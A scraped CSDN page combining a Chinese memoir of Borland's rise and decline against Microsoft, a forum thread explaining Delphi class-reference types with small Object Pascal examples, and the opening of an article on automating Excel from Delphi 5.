看IT风云变幻,宝兰与微软背后的故事,

李维:2001 年軟體界的巨星 - Kylix

看宝兰, 一年之间连续推出kylix1.0 ,interbase6.0, delphi6,jbuilder5 ,c++builder6也不日即出,敬请关注宝兰2001年与微软对绝的杀手锏kylix

陈宽达: 遊戲程式設計初學者常遇之疑問

明修栈道,暗渡陈仓,陈宽达点指开发工具


CSDN_文档中心_李维:我的回忆和一些有趣的事(精彩绝伦）

聲明

以下的這篇文章內容是我個人的回憶以及看法，沒有任何特別的偏見，許多的事情是根據我的記憶以及從許多人的訴說中得知的，也許內容不是百分之百的正確，不過我想這些內容有一定的可信度到是可以保證的。當然有一些事情確定的發生時間和順序不一定都和我的記憶一致，不過我想大部份應該是相去不遠的。當然各位如果知道確定的事件而我的記憶有誤，那麼我將非常歡迎您糾正我，我希望這些故事的經歷能夠一直陪我走下去，謝謝。

一直想寫一篇我個人在過去10多年來工作中經歷的一些事情，以及看著一些我認為是偉大的工程師在這些日子中對於資訊界的貢獻。如果你和我的年齡差不多，那麼你可能會對於這些內容很有興趣，因為它們說明了當時許多軟體的興起和沒落的過程以及原因。雖然這些事情已經距離我們很遙遠了，但是我相信許多人仍然對於背後的故事有興趣。如果你沒有經歷過那段美好的回憶，那麼就把這些內容當成是一個有趣的故事來看吧。但是我想更重要的是讓我們一起認識一些偉大的人物，我對於其中的許多人都非常的佩服，也非常的羨慕。我常常在想，如果我也有他們的環境，我是不是也能夠和他們一樣這麼有成就呢?這些人對於以往都有重要的貢獻，在未來也將仍然有重要的影響，因為他們都有一身不凡的技術。對於許多重要的人我都儘量的收集了他們的照片，讓各位也能夠看看這些優秀的工程師和傑出的人物。當然，如果各位也能夠從這些內容中學習到失敗的原因以及成功的經驗，那麼這篇文章就更有價值了。

和Borland的緣由

記得我在大學時第一個在PC上使用的軟體便是SideKick，至今我仍然無法忘記這個讓我津津樂道的軟體，而Borland在當時也就是以SideKick成為全球知名的軟體公司。不過Borland第一個奠立創業基業的軟體卻是我大二使用來交作業的Turbo Pascal。而Turbo Pascal也是第一個我聽到關於Borland的有趣的故事

當年Philippe Kahn (Borland的創使人)和Anders Hejlsberg到美國創業時，便由Anders以組合語言撰寫了Turbo Pascal的編譯器，而Philippe則包辦了Turbo Pascal其他的部份。在這兩位人兄開發完Turbo Pascal之後，窮得快連登廣告的錢都沒有了。但是Philippe為了在Byte雜誌(還記得這個著名的雜誌嗎?)刊登Turbo Pascal的廣告，因此和Anders商量了一個方法，那就是一天他們約了Byte雜誌的人到當時Borland的辦公室討論刊登廣告的事情。

當Byte的人到了Borland之後，Philippe，Anders和公司的助理小姐故意忙著接電話，接受Turbo Pascal的訂單，並且告訴Byte雜誌的人等一下。過了一陣子之後Philippe才進入房間向Byte的人道歉，說他們的Turbo Pascal受到市場的熱烈歡迎，訂單源源不斷的到來，因此可能不需要在Byte雜誌刊登廣告了，接著Philippe向Byte的人展示Turbo Pascal這個產品。由於在當時的機器中Turbo Pascal能夠在少少的RAM中常駐執行，又提供閃電般的編譯速度，立刻讓Byte雜誌的人震驚在當場，憑著專業知識和豐富的經驗，Byte的人也立刻知道這將是一個革命性的軟體，因此馬上希望Philip能夠在Byte雜誌刊登Turbo Pascal的廣告，並且願意以半價刊登。當然，Philip也立刻的答應了，於是一個革命性的軟體Turbo Pascal終於在Byte雜誌刊登出來了，售價49.99美元的Turbo Pascal立刻為Borland帶來了大量的財富，Turbo Pascal也立刻的成為PC上除了基本的Basic之外最暢銷的開發工具，也正式揭開了Borland影響PC開發工具10幾年的序幕。

在Turbo Pascal之後，Borland接著推出了SideKick這套軟體，SideKick可以說是隨後著名的記憶體常駐軟體(TSR)的始祖，也是讓Borland跨出開發工具界，讓幾乎所有PC使用者認識Borland的關鍵軟體。當然SideKick也很快的成為了全球的暢銷軟體，繼續的把Borland往頂尖的軟體公司上推。

而Turbo Pascal也成了我大二，大三撰寫作業的最愛，幾乎所有的作業都是使用Turbo Pascal完成的，當然其時Horowise的Data Structure這門課也是使用Turbo Pascal過關的，因此從那個時候開始我便非常喜歡Borland這家公司，慢慢的也開始對Borland有了特別的感情。

大二時Microsoft也推出了Microsoft Pascal，但是它和Turbo Pascal的確是有一段差距，我使用了一次之後便把它丟到垃圾桶。稍後Borland也推出了Turbo Basic，我記得這個編譯器非常的棒，編譯速度就和Turbo Pascal一樣，是一個非常有前途的產品。但是我不知道為什麼它只有1.0，之後便和Microsoft Pascal一樣消失了。我聽說Microsoft和Borland互相交換條件，Microsoft不進入Pascal的市場，而Borland則退出Basic的市場。至於是不是真的我就不得而知了。

在大二初次的接觸到C語言，第一本閱讀的書便是王興隆先生寫的C語言，也從此開始和C語言結下了淵源。平生第一個使用的C編譯器便是Lattice C，不知道還有沒有人記得。我還記得那個時候使用2個5又1/4磁片抽換以便編譯C程式的情景。稍後Borland終於推出了風行天下的Turbo C編譯器，當然，從此之後Turbo C便成了不離身的工具，而Borland也藉由Turbo C這第三項暢銷產品邁向了世界前10名的項尖軟體公司。

當完2年的兵之後，我在中研院首次使用了C++語言，第一個使用的C++編譯器則是Zortech C/C++，這家公司稍後被Symantec收購成為Symantec C/C++的核心，這個故事稍後再說。後來Borland也推出了Turbo C/C++ 1.0這第一個C/C++編譯器，但是在我和Zortech C/C++比較之後，還是覺得Zortech C/C++比較好，因此就繼續使用Zortech C/C++。一直到Borland的Turbo C/C++ 2.0編譯器推出之後，才逐漸成為C/C++語言的王者，而我也像以往一樣把Zortech C/C++換成了Turbo C/C++。

在1991年到Georgia Institute Of Technology唸碩士時，終於使用自己的零用錢美金49.99購買了生平第一套的正版軟體Turbo C/C++ 4.5，隨後又購買了Borland Pascal。在畢業前的一個Quarter，Microsoft 推出了Microsoft C/C++ 6.0以及MFC 1.0，由於是第一個C/C++的Framework，因此也花了一些錢購買了一套以便瞭解MFC。但是在收到之後卻很失望，因為Microsoft C/C++ 6.0仍然沒有圖形整合發展環境，還是在DOS下的整合發展環境，而且MFC 1.0以我的眼光來看又不好用，而且Microsoft C/C++ 6.0的C/C++最佳化編譯器在其時是一個笑話，不但產生的程式碼效率不好，甚至會產生錯誤的程式碼，許多雜誌也稱Microsoft C/C++ 6.0是一個平庸的(Mediocre)產品。因此就把它丟在一邊。在Microsoft C/C++ 6.0不久之後，Borland終於推了Borland C/C++ 3.0。而這套軟體也開啟了Borland雄霸C/C++編譯器常達5,6年之久的序幕。

Borland C/C++ 3.0推出之後由於擁有第一個在Window下的穩定的圖形整合發展環境，而且它產生的最佳化程式碼也是Microsoft C/C++ 6.0望塵莫及的，因此很快的幾乎所有的C/C++程式師轉而使用Borland C/C++ 3.0。因此在那個時候有一個現象，那就是幾乎所有的公用程式或是Shareware都是使用Borland C/C++開發的，許多硬體廠商的驅動程式也是使用Borland C/C++ 3.0來撰寫的。

1992年我取得Georgia Institute Of Technology的碩士學位之後最想進入的公司便是Borland和Microsoft，不過最後我還是決定回台灣工作。在此時Borland也進入了最巔峰的時期，因為Borland推出了Borland C/C++ 3.1。

Borland在Borland C/C++ 3.0獲得空前的勝利之後，並沒有鬆懈下來，因為Borland知道Borland C/C++ 3.0還缺了一個最重要的勝利因子，那就是如同Microsoft的MFC一樣的C/C++的Framework，因為Borland也看出了Framework將會是未來C/C++產品中最重要的一環科技。不過Borland此時面臨了一個重要的十字路口，那就是到底要自己開發一個和MFC抗衡的Framework，還是要如何做。因為如果要自己開發Framework，那麼勢必要花上一些時間，但是Borland想趁Borland C/C++ 3.0如虹的氣勢再下一城，以便徹底擊潰Microsoft C/C++。因此最後Borland決定向一家叫White Water的公司購買一套由這家公司開發的一個Framework，這套Framework便是後來鼎鼎大名的OWL的源流。而Borland也因為向White Water購買了這套Framework，因而也引進了一個日後非常重要的人物，那就是後來負責開發Delphi的一員大將 - Zack Urlocker。

C/C++的光榮戰役

在Borland購買下White Water的C++ Framework之後，便更命為OWL(Object Window Library)，並且很快的推出了以OWL 1.0為核心的Borland C/C++ 3.1。由於OWL比當時的MFC 1.0封裝的更為完整和好用，再加入Resource Workshop視覺化能力，以及Borland C/C++ 3.1自己最強勁的編譯器和整合發展環境，因此立刻的風靡了全世界，其受歡迎的程度更是遠遠的超過了它的前一版本Borland C/C++ 3.0。

由於Borland C/C++ 3.1的暢銷，立刻讓Borland在C/C++市場一舉擊潰了Microsoft C/C++，市場佔有率超過了50%，是全球第一的C/C++產品，也把Borland推上了最高峰，成為全世界第三大的軟體公司。

很快的，我所工作的開發小組也立刻的以Borland C/C++ 3.1來開發系統，Borland C/C++ 3.1也是我使用過Borland最穩定的C/C++版本之一。也由於那個時候一天到晚都使用C/C++工作，因此就有了一些小心得。稍後我整理了一些東西便投稿到剛出刊不久的RUN!PC，也許是運氣不錯，RUN!PC很快的也登出了我的文章。就是這篇文章登出之後，台灣的Borland注意到了我，開始和我連絡，並且從此展開了和Borland的互動。而Borland C/C++ 3.1也是第一套Borland免費送我的軟體，當然代價就是希望我多寫一些Borland產品的文章。

接著Borland又計劃推出Windows版的Borland Pascal，不過在Borland開發Borland Pascal For Windows 時，當時(現在也還是)最具盛名的Charles Petzold(我的第一本Windows 程式設計的書就是這位仁兄寫的，相信許多人也是看他的書一路學來的)就說除了C/C++之外，Borland不可能做出能夠在 Windows 下執行的Borland Pascal，不過很明顯的，即使是Windows API的大師Charles也錯了。Borland不但做出來了，而且Borland Pascal For Windows 還非常的暢銷，當然Borland Pascal For Windows 也是後來Delphi的根基。

當時的Borland可說是不可一世，不但產品大賣，而且日進斗金。Borland在Scotts Valley豪華的總部也是在那個時候由Philippe Kahn大手筆的花了一億多美金搭建的(想想10年前的60多億台幣可以蓋什麼樣的房子?)。不過也許是Borland太成功了，因此也開始讓Philippe Kahn漸漸的養成了好大喜功，目中無人的態度，也種下了Borland開始走向衰退的因子。

Borland 位於美國加州 Scotts Valley 總部

不過在Borland最強盛的時期，當然也就是Microsoft最想痛宰Borland的時候，在這個時候發生了一個著名的事件和一個著名的虛擬人物。話說由於當時Microsoft的開發工具一直打不過Borland的產品，因此在Microsoft的開發工具刊物上便出現了一個作者不斷的以文章嘲笑Borland，這個作者的筆名是Buck Forland。後來由於這位作者的文章內容以及他的筆名引起了當時Borland的不滿以及大量Borland使用者的強烈抗議，因此稍後這位作者就突然的消失不見了。因此有許多人就推測這個作者應該是Microsoft的工程師，由於一直無法打敗Borland的產品，腦羞成怒，因此才會以這個筆名來發洩。如果各位看倌到現在還摸不著頭為什麼這個筆名會引起軒然大波，那麼請你試著把Buck Foland這兩個英文字的第一個字母一對調就知道為什麼了。現在各位是否會心一笑了?

Philippe Kahn-Borland的創始人

在Borland C/C++ 3.1大獲成功之後，Borland卻開始鬆懈了下去，並且開始走下坡。當然這有許多的原因，我所知其中最重要的原因有數項 :

■Philippe Kahn和當時Borland C/C++的產品經理鬧翻了。這位Borland C/C++的產品經理的名字是Eugene Wang，他是一位非常聰明的中國人。他一手把Borland C/C++ 帶到了世界第一的地位，並且在Borland C/C++ 3.1成功之後有了更偉大的想法，那就是 Eugene Wang 想在下一個Borland C/C++版本中完整的以OWL封裝所有的Windows API，因為OWL 1.0雖然比MFC 1.0來得優秀，但是OWL的隱憂就是OWL尚未完整的封裝所有Windows的API。此外Eugene還計劃以OWL為核心，開發一個類似今日Borland C/C++ Builder的以視覺化元件為開發方式的開發工具。請各位想一想，如果在當時Borland能夠開發出這種C/C++開發工具，那麼將會是一個多麼可怕的產品，稍後Microsoft的Visual C/C++ 1.0只是能夠在整合發展環境中自動產生MFC的程式碼就立刻的轟動了C/C++市場，造成了大量程式師轉入Microsoft的陣營。即使是目前的Borland C/C++ Builder使用的Framework仍然是以Object Pascal以核心的元件Framework，而不是純粹的C/C++程式碼。如果當時 Eugene Wang 能夠做出他心中的下一版Borland C/C++，那麼我想到現在Borland C/C++可能還是市場中第一的C/C++開發工具。不過很不幸的是，Eugene Wang 稍後和Philippe Kahn發生了爭執，Eugene Wang 一氣之下離開了Borland。而Philippe Kahn則認為Borland C/C++的地位已不可動搖，因此也沒有想立刻的做下一版的Borland C/C++。這樣一拖竟然浪費將近2年的時間。

Microsoft Visual C/C++ 1.0在Borland C/C++ 3.1 2年之後推出，並且立刻獲得市場好評。不但在編譯器方面能夠和Borland C/C++ 3.1相抗衡，在整合發展環境方面更大幅領先了Borland C/C++ 3.1，還能夠自動產生MFC的程式碼，再也不是昔日的吳下阿蒙。直到此時Philippe Kahn才從夢中驚醒而急於開發下一代的Borland C/C++ 4.0，但是為時已晚，C/C++的開發工具市場從此就開始逐漸的被Microsoft蠶食了。

Eugene Wang在離開Borland之後，立刻的被Symantec所網羅，稍後Eugene Wang也在非常短的時間之內為Symantec開發出了著名的Symantec C/C++。Symantec C/C++在當時被所有的技術刊物評比為擁有最棒的整合發展環境和最有創意的C/C++開發工具，從此可見Eugene Wang的功力。不過Symantec C/C++稍後也不敵Microsoft Visual C/C++，這個故事的原因在稍後四大C/C++編譯器之爭的段落中再詳細的說明。

我最後聽說Eugene Wang跑去做生意了，並且在前幾年寫了一本教導科技人員如何面試的書籍。我,一直很痛心Borland失去了這麼一位優秀的人材，我常想如果當初Eugene Wang沒有離開Borland，那麼歷史就可能不是現在的這樣了，Sign!!!

■Philippe Kahn大手筆的花了一億多美金買下了Ashton-Tate公司和dBase。在當時許多人都批評Philippe Kahn做了不值得的事情，因為Ashton-Tate不值這麼多錢。但是由於當時Borland多的是錢，因此Philippe Kahn也不多意。不過這並不是Borland走向逐漸走向衰敗的主因，而是在Borland買下了dBase之後，並沒有立刻積極的發展dBase For Windows，反而把dBase丟在一旁。這個原因便是當時Borland的另外一個和資料庫有關的產品Paradox賣得也很好，因此Philippe Kahn並不急著打算開發dBase For Windows。不過Philippe Kahn忘記了一件事情，那就是當時在市場大量人口的dBase程式師需要一個好的Window版dBase，但是Philippe Kahn購買了dBase卻不提供Windows 版的解決方案。因此當稍後Microsoft以極小的代價買下Fox這家公司，並且在數年之後推出FoxPro For Window，吸引了大量原先的dBase程式師以及Paradox的程式師之後，Philippe Kahn才警覺事情不對而充充忙忙的開發dBase For Windows。但是當dBase For Windows 推出之後，Microsoft早已推出了兩個FoxPro For Windows 的版本，而佔據了大部份的市場，dBase For Windows其勢已不可為了。

■Microsoft開始向Borland挖角。由於Microsoft在許多的開發工具戰役中一直被Borland打得灰頭土臉。更何況Borland C/C++ 3.1幾乎搶佔了大部份的市場，因此Microsoft開始準備好好的對付Borland。但是由於其時Borland在編譯器的技術領域領先了Microsoft數年之久，Microsoft無法在短時間之內趕上Borland，因此Microsoft決定使用最有效的方法立刻追上Borland技術，那就是直接挖角。因此稍後Microsoft的Visual C/C++小組有60%的成員是從Borland挖來的，這個舉動不但立刻的讓Borland流失了大量的優秀技術人才，也在數年之後造成了Borland控告Microsoft的導火線。不知道各位看到這裡有什麼感覺，或是沒有感覺。不過我總是覺得Microsoft使用了不好的手段來競爭，並不是光明正大的擊敗Borland，而是使用了不公平的競爭手段。

Philippe Kahn在這段時間不但讓Borland C/C++被Microsoft Visual C/C++反敗為勝，也痛失了幾乎所有dBase的市場，更浪費了大量的金錢，和流失了大量的優秀人員。在這些重要的原因之下，Borland已經不可避免的開始走下坡了。

我最後一次看到Philippe Kahn時是在1994年未於亞特蘭大(Atlanta)參加國際Conference時，還和他打了一聲招呼。後來Philippe Kahn離開了Borland，另外創立了StarFish這家公司，稍後StarFish也被Motorola併購。雖然Borland由於Philippe Kahn一些錯誤的決策而逐漸的從巔峰開始下降，但是Philippe Kahn也不愧為一個人物。因為Philippe Kahn能夠和Bill Gates一直周旋數年之久，而同一時期的許多公司，例如Lotus都一一的被Microsoft所擊敗，因此Philippe Kahn還有一套的。此外Philippe Kahn也是唯一一個擁有工程師特性的Borland CEO，Philippe Kahn仍然重視技術產品和技術人員。但是Borland隨後的CEO幾乎都是Marketing，Finance或是Sales出身的人，這真讓我懷念以往以產品和技術為優先的CEO了。

看完了上面這段今人傷心的歷史之後，再讓我們看看當Borland在受到Microsoft Visual C/C++的強大衝擊之後，如果思索反擊之道。在這段期間也出現了令我敬佩的第一個Borland技術工程師，Carl Quinn。

Carl Quinn在Microsoft Visual C/C++ 1.0推出之後，立刻奉命開發一個能夠和MFC相抗衡的全新OWL，而Carl Quinn也是數年後JBuilder的JBCL Framework的靈魂開發人物。Carl Quinn不但負責開發OWL，也為Borland在元件Framework的技術領域立下了重要的貢獻。由於Carl Quinn的投入，因此開啟了OWL大戰MFC，Borland C/C++纏鬥Visual C/C++數年精彩好戲的序幕。

Carl Quinn到現在我還記得和敬佩的人物，讓我再一次的向他致敬，並且介紹他讓大家認識。

Carl Quinn-我第一個佩服的Borland工程師

Borland C/C++的反擊

火線全開

Borland除了在開發工具市場和Microsoft熱戰之外，其時和Microsoft ，Lotus鼎足而立的Borland看到Microsoft和Lotus正在試算表工具以及文書處理工具大戰之暇，不思好好的集中資源開發新的開發工具和資料庫工具(下一節會詳說)，也不甘寂莫的投入了大量的資源進入這個慘烈的市場。也許是當是Borland太有錢了，或是Philippe Kahn腦袋有問題，居然決定進入這個Borland陌生的市場，更何況在Borland投入時Lotus已現敗象，市場已經慢慢的被Microsoft所一步一步的掌握了。

Borland進入Office市場的第一個產品便是著名的Quattro Pro這個試算表，雖然Quattro Pro是一個不錯的產品，而且當時由Borland C/C++編譯器所開發的Quattro Pro在執行效率上幾乎是最好的，但是Borland沒有想到使用試算表的使用者是一般的辦公室人員，這些人注重的是方便性和功能性，而不是最重視執行速度，這和開發人員是不一樣的。Borland以開發者的心態來開發試算表工具基本上是走錯了方向。因此我記得在那段時間中，雜誌評比Microsoft的Excel，Lotus的1-2-3和Borland的Quattro Pro時，在功能方面領先的都是Excel和Lotus，在執行效率方面領先的則是Excel和Quattro Pro。到了試算表熱戰的未期1-2-3甚至比不上Quattro Pro，因此Lotus敗走試算表市場已是不可避免的結果了。

不過Borland雖然贏了1-2-3，但是和Excel仍然有一大段的距離，Microsoft一統試算表江山之勢已不可搖，因此最後Borland在損失了大量的資源之後，Quattro Pro只能賣給Novell。除了Quattro Pro之外，Borland也投入了很多的資源秘密的開發一個代號稱為Spring的文書處理程式準備和Microsoft的Word以及WordPerfect競爭，這可能是許多人不知道的。但是這個產品最後仍然無法問市而胎死腹中，在文書處理市場方面Borland不但浪費了時間，更虛擲了大量的資源。Philippe Kahn在Office產品方面消耗了Borland大量的金錢和時間，卻落得鎩羽而歸，更連累了開發工具市場以及最有可能成功的資料庫產品市場。

另外一個和Borland無關的故事是關於Excel如何興起的。話說當Lotus 1-2-3最盛的時期，Microsoft一直計覬覦這個市場，但是苦於無法開發一個能夠和1-2-3相競爭的產品。有一次Lotus 1-2-3舉辦了一個Lotus 1-2-3的技術研討會，由當時Lotus 1-2-3的首席工程師主講。在Microsoft知道了這個技術研討會之後，立刻派出了最好的程式設計師，在現場詢問Lotus是如何開發1-2-3的並且也趁機詢問這位首席工程師如何克服1-2-3在許多技術方面的難點，而這些困難處正是 Microsoft 的工程師無法克服的。

當時在現場中Lotus的這位首席工程師雖然知道這些人是Microsoft派來的，而且詢問的問題正是1-2-3許多關鍵的技術點。但是這位首席工程師憑藉著多年開發經驗，並且認為Microsoft不可能在短期之內追上1-2-3，因此就沒有多做保留的回答了許多重要的問題。沒有想Microsoft的這些程式師也是非常聰明的的人，在一經指點之後，立刻暢然全通，在短短的1,2個版本之後不但馬上追上了1-2-3，在許多功能方面更是青出於藍，1-2-3便逐漸失去優勢了。我想這位1-2-3的首席工程師一定很後悔當時回答了關鍵的技術問題吧。

結論 : 千萬不要小看Microsoft，他是非常精於模仿的，也永遠不要小看你的對手。

資料庫市場的失誤

當Borland全盛的時期，事實上也是發展資料庫產品最好的機會。因為在當時Borland手握DOS最暢銷的Paradox，又併購了Ashton-Tate而擁有世界大部份dBase的市場，後來又從 Digital 取得了真正的 RDBMS-InterBase，可以說是全世界資料庫實力最雄厚的廠商。當時的 Oracle 和 Borland 比起來，簡直是小巫見大巫，而 Sybase 更不知道在那裡。如果當時 Borland 能夠好好的掌握這個機會，並且極力發展資料庫產品的話，那麼現在Borland 就算不是世界第一的軟體公司，也將是世界第二的軟體廠商。

可惜 Philippe Kahn 並沒有看到這個在年代80未到90年代成長最快速的產品。說句笑話的是，如果當時Philippe Kahn的死對頭Bill Gates早一點對 Philippe Kahn 說出Information At Your Finger-Tip』的話，那麼 Borland 就可能是現在的 Oracle 了。

說到資料庫市場就不得不對 Microsoft 的眼光佩服，也可以看到Microsoft行銷能力的強悍。當Microsoft以FoxPro For Window強佔了開發者的資料庫市場之後，又看到了一般使用者也需要使用簡易好用的資料庫管理工具。因此發展出了Access。但是當時在這種市場中，Paradox佔有開發者的資料庫大部份的江山，而一般使用者的資料庫管理工具市場則由Lotus的Approach拔得先機。Microsoft為了扳回劣勢，我還記得在當時Visual Basic 3的套裝軟體中Microsoft附了一張優待卷，只要800新台幣就可以買一套Access。這簡直就是流血大拍賣，目標很明顯，就是當時在市場中賣1萬多元的Lotus Approach。果然，Microsoft此招一出，Approach便在市場被Access打得落花流水，很快的便失去了市場，也很快的退出了市場。從此一般使用者的資料庫管理工具市場便逐漸由Access所取代。

但是Borland並沒有警覺到Access會繼續的往開發者市場進功，因此仍然沒有加緊在Paradox產品上開發，Borland總覺得以Paradox在市場的地位是無法輕易憾動的，而且Access的目標市場也不是Paradox的市場。但是Borland忘記了Microsoft非常散擅長模仿，因此在隨後的Access版本中，Microsoft不斷的為Access加入可程式設計的功能，因此也逐漸的吸引了一些Paradox入門使用者的市場，再加入FoxPro For Window又持續的強功開發者資料庫市場，Paradox終於在背腹受敵之下也逐漸的敗下陣來。雖然在未期Philippe Kahn已經對Paradox投下重兵，希望能夠挽回Paradox的劣勢，奈何時不我予，Paradox在奮鬥了Paradox 6和Paradox 7的2個版本之後，終究難逃失敗的命運。

當時我看到Microsoft如何打擊競爭對手時，我就和朋友開玩笑的說。Microsoft有天下無敵的3絕招，那就是『打不過你就模仿你(這讓我想起電影秘密客(Mimic) )，再打不過就和你比流血，看誰流得久(這讓我想起吸血鬼)，最後如果再不行的話，那就挖光你的人(這讓我想起電影 Other People's Money)』。Lotus就在Microsoft的前2個絕招下到地不起，而Borland還算是功力深厚的了，連中了3絕招，雖然不像Lotus和許多其他公司一樣從此Bye-Bye，但也是受傷極重的了。

ODBC和IDAPI之爭

當Microsoft在逐漸的擊敗他的競爭對手，並且擁有了大部份PC資料庫市場之後，便慢慢的瞭解到掌握標準的重要性。此外Microsoft為了統一各應用程式之間不同資料的存取，因此開始製定存取資料的統一標準-ODBC。

Microsoft更大的目的是為了準備和瞄準下一場的大戰，那就是PC上的RDBMS產品。
當然，Microsoft要一統資料存取的江山，Borland不同意，其時一心想從Microsoft扳回一城的IBM也不同意，而Novell更是害怕，因為Novell怕Microsoft成功之後，Netware會消失得更快。於是IBM，Novell和Borland以及一些其他的小廠便聚集在一起，決定也製定一套存取資料的標準介面來和Microsoft對抗，這個製定的資料存取標準便是IDAPI。此時也正式揭開了ODBC和IDAPI競爭的序幕。

不過IBM，Novell和Borland的結合很快的就證明是失敗的，因為就像稍後說明的一樣，IBM在PC軟體上的發展一直是三心二意，反反覆覆，因此當IDAPI 1.0的規格出來之後，IBM這位老兄又失去了和Microsoft對抗的興趣，於是就退出了IDAPI聯盟。至於Novell就更不用說了，Novell對於和Microsoft一象是『說說可以，真打不行』，一定要找到一群廠商才敢和Microsoft對抗。Novell在眼看IBM推出之後，也馬上不戰而降，很快的就也退出IDAPI聯盟，這個現象和稍後Novell對於和Borland秘密合作的Appware/AppBuilder計劃如出一轍，都是虎頭蛇尾，草草收場。

在兩個大ㄎㄚ臨陣脫逃之後，Philippe Kahn仍然不畏懼Microsoft的競爭，還是以IDAPI 1.0的規格實作資料存取引擎，這就是我們現在使用的BDE/IDAPI和SQL Links的前身。當時IDAPI 1.0的功能規格比ODBC 1.0好得多了，我記得Delphi 1.0使用的BDE/IDAPI和SQL Links驅動程式也比當時慢得像烏龜的ODBC快上太多了。只可惜在IBM和Novell推出之後，其他的小廠也是一轟而散。因此Borland只能靠自己獨自和Microsoft對抗。Borland能夠以少量的資源一直對抗到Delphi 3的BDE/IDAPI才逐漸的被ODBC追過，也算是非戰之罪了。怪也只能怪Borland意志不堅的盟友。當然由於IBM和Novell的行事做風是如此，在稍後許多能夠和Microsoft一較長短的機會也因為如此而消逝，最後自食惡果，逐漸失去了PC的軟體市場，再也無力和Microsoft抗衡了。

現在呢Borland似乎記取了當時的錯誤, 正努力的在Linux上定義標準資料存取介面dbExpress, 我希望也祝福Borland能夠成功.

未完待續……


CSDN_文档中心_理解类引用这种类型

问题：
书中写到：
--------------------
类的引用是一种类型，它不是对对象的引用，也不是对类的引用，
而是对类的类型的引用。类的引用类型定义了引用变量的类型。
假设用户定义了一个类：

type
   CMyClass=class
   ...
end
下面定义一个新类的引用类型，与下面的类相关：
type
MyClassRef=calss of CMyClass
这样就声明了两个类型的变量：
aClassRef:MyClassRef;
aObject:CMyClass;
其中第一个变量引用一个对象，第二个引用类：
aClassRef=CMyClass;
aObject=CMyClass.Create;
--------------------
这一段我看不明白，请各位解释一下。谢谢
来自： Pipi., 时间：2002-2-8 23:13:00, ID：916427
另外举一个例子吧，比如我可以写一个函数
type TControlClass = class of TControl;
procedure insert_control(cls:TControlClass);
begin
obj;=cls.Create(Application);
把obj放进form
end;

调用的时候，如果是 insert_control(TEdit) 那么放进form的是一个编辑框
如果是 insert_control(TButton) 那么放进form的是一个按钮
谢复杂一点就是
var ctl:TControlClass;
ctr:=TEdit;
insert_control(ctl)
------------------------------
注意上面我们用到TButton和TEdit它们都有共同的祖先TControl
我们定义一个基类，然后通过传递不同的子类，那么一个函数只写一次就实现不同的效果
来自： Holyowl, 时间：2002-2-8 23:26:00, ID：916440
类引用的用途就是创建在编译器无法确定的对象，举个列子：

Type
  TControlCls = Class of TControl;
function CreateComponent(ControlCls: TControlCls): TControl;
begin
  result:=ControlCls.Create(Form1);
  ...
end;

调用时如：

CreateComponent(TMemo);//创建TMemo对象
CreateComponent(TEdit);//创建TEdit对象
来自： renrf, 时间：2002-2-9 0:07:00, ID：916478
谢谢，
我书上的例子怎样理解呢？
来自： Pipi., 时间：2002-2-9 0:29:00, ID：916503
你书上的例子就更简单了，根本没讲到实际的用途
就是出现aClassRef的地方你把它看成CMyClass好了
来自： testnet, 时间：2002-2-16 1:17:00, ID：923102
提前提前，我还没看明
Type
  TControlCls = Class of TControl;
function CreateComponent(ControlCls: TControlCls): TControl;
begin
  result:=ControlCls.Create(Form1);
  ...
end;
function CreateComponent(ControlCls: TControl): TControl;
begin
  result:=ControlCls.Create(Form1);
  ...
end;

上面这两个东东的结果不是一样吗？有会什么差别？？我只注重结果
来自： Pipi., 时间：2002-2-16 1:26:00, ID：923112
当然不同了
来自： beta, 时间：2002-2-16 2:34:00, ID：923171
to testnet:
  将你的两个函数名分别改为 CreateComponent1 和 CreateComponent2
  你象这样编译一下:
    CreateComponent1(TEdit);
    CreateComponent2(TEdit);
  看出 结果 上的差别了吧?
来自： beta, 时间：2002-2-16 2:35:00, ID：923172
前者要求传入一个 类, 而后者要求传入一个 对象(类的实例)
来自： beta, 时间：2002-2-16 2:43:00, ID：923174
前一个函数将创建你传入的类的一个实例,而后一个函数,没有意义吧.
来自： Jhdandcl, 时间：2002-2-16 10:53:00, ID：923281
上面都说得较清楚了，
type
MyClassRef=calss of CMyClass //表示MyClassRef为指向CMyClass或其父类的指针.
来自： leasun, 时间：2002-2-16 11:37:00, ID：923316
类的引用就像指向类的指针一样
来自： testnet, 时间：2002-2-16 12:41:00, ID：923408
这个特性不错
来自： xiangya, 时间：2002-2-21 1:33:00, ID：931109 | 编辑
没有说清楚![:D]看看这里的解释：
准确的说,这是一种编译器提供的原始二次识别的方法.
"我定义很多的类,当然,他们是一个系统的,然后,我把它们统统成为某某类,
当你需要某个类或者类的实例(通常是后者)的时候,你就告诉我那个类的名称,
然后,我就给你那个类,或者类的实例"其实这也不清楚,在后面,
"你是一个猪,猪类,他是一个马,马类,我是一个头人,人类,"
好了,"我们这些类都统统称为动物类"(实际生活中有动物类吗[?]没有!
都是抽象出来的概念)那么,动物类的实例我们称为某个动物,
现在,屠宰场要买一个动物,好!到底是要一个猪呢,还是一个马吗[?]反正不会是一头人啦.
这样,我们送去一个猪类或者马类(记住,这是类型),不管如何,屠宰场就会得到一个动物.
最后,某个人类的实例就有得吃了[:D]
好好想想,然后对照下面,
Type
  TControlCls = Class of TControl;
function CreateComponent(ControlCls: TControlCls): TControl;
//这里是在问"你是给我送个马类还是猪类呢[?]"
//结果呢,下面的代码送了一个窗口类[:)]
begin
  result:=ControlCls.Create(Form1);
  ...
end;
function CreateComponent(ControlCls: TControl): TControl;
//在问,你要那一个猪[?]
//答:我要窗口1的那个猪[^]
begin
  result:=ControlCls.Create(Form1);
  ...
end;
好了,这下没有明白的话,那真是猪.[:)]
最后一种表达：
你需要什么样的类型，那好，你告诉我你要的类型，我给建一个这样的对象出来。
[:(!][:(!]声明,千万不要误会,我没有骂人,我想这样说,您的印象非常之深刻,更好理解.


CSDN_文档中心_利用Delphi 5.0开发OLE自动化控制器操纵Excel

---- OLE自动化是Windows应用程序之间互相操纵的一种技巧。被操纵的一方称为自动化服务器（也称自动化对象），典型的自动化服务器有Microsoft Word、Excel和Powerpoint。操纵自动化服务器的一方称为自动化控制器。在开发数据库应有程序中，经常需要借助Microsoft Excel的强大报表功能，把数据库中的数据输出到Excel表格中。Delphi 5.0以前的版本虽然也可以编写自动化控制器和自动化服务器，但编写程序较为复杂，不易掌握。Delphi 5.0对于OLE提供了强大的支持，利用Delphi 5.0最新提供的Servers栏控件可以很容易开发OLE自动化控制器实现对OLE自动化服务器的调用，发挥Word、Excel、Powerpoint的强大功能。

